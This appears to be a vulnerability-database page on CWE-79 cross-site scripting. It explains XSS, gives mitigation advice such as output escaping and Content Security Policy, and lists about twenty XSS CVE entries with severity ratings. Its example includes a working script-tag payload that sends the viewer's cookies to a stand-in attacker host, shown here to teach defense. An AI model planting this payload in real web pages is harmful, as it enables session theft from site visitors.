Fallos del tipo CWE-79

30.199 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-39574MEDIUMWordPress Uix Shortcodes plugin <= 2.0.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2023-6854MEDIUMBreakdance <= 1.7.0 - Authenticated(Contributor+) Stored Cross-Site Scripting via custom postmetaEPSS 0.3%CVE-2024-2924MEDIUMCreative Addons for Elementor <= 1.5.12 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-26993MEDIUMFlare has XSS vulnerability in Raw File PreviewEPSS 0.3%CVE-2024-42939MEDIUMA cross-site scripting (XSS) vulnerability in the component /index/index.html of YZNCMS v1.4.2 allows attackers to execute arbitrary web scrEPSS 0.3%CVE-2024-10343MEDIUMBeek Widget Extention <= 0.9.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-55451MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in authenticated SVG file upload and viewing functionality in UJCMS 9.6.3. The vulnEPSS 0.3%CVE-2024-9426MEDIUMAqua SVG Sprite <= 3.0.14 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-7588MEDIUMGutenberg Blocks, Page Builder – ComboBlocks <= 2.2.87 - Authenticated (Contributor+) Stored Cross-Site Scripting via Accordion BlockEPSS 0.3%CVE-2026-109744HIGHOther issue in the DOM: File componentEPSS 0.3%CVE-2024-9455MEDIUMWP Cleanup and Basic Functions <= 2.2.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2026-50705MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Form Dashboard headline renderingEPSS 0.3%CVE-2026-44737MEDIUMgrav-plugin-admin: Stored Cross-Site Scripting (XSS) Reflected endpoint /admin/pages/[page], parameter data[header][title]EPSS 0.3%CVE-2020-8923MEDIUMXSS in DartEPSS 0.3%CVE-2026-50710MEDIUMFrappe Framework 17.0.0-dev - Stored XSS via eval in Number Card filters_configEPSS 0.3%CVE-2023-49260MEDIUMStored cross-site scripting vulnerabilityEPSS 0.3%CVE-2026-104828HIGHHtmlUnit Neko: Mutation XSS (mXSS) in HTMLWriterFilter - TEXTAREA/TITLE entity decode without re-encodeEPSS 0.3%CVE-2025-39573MEDIUMWordPress WP Posts Carousel plugin <= 1.3.10 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-23984HIGHWordPress Dynamic URL SEO plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-45511MEDIUMAn issue was discovered in Zimbra Collaboration (ZCS) through 10.1. A reflected Cross-Site Scripting (XSS) issue exists through the BriefcasEPSS 0.3%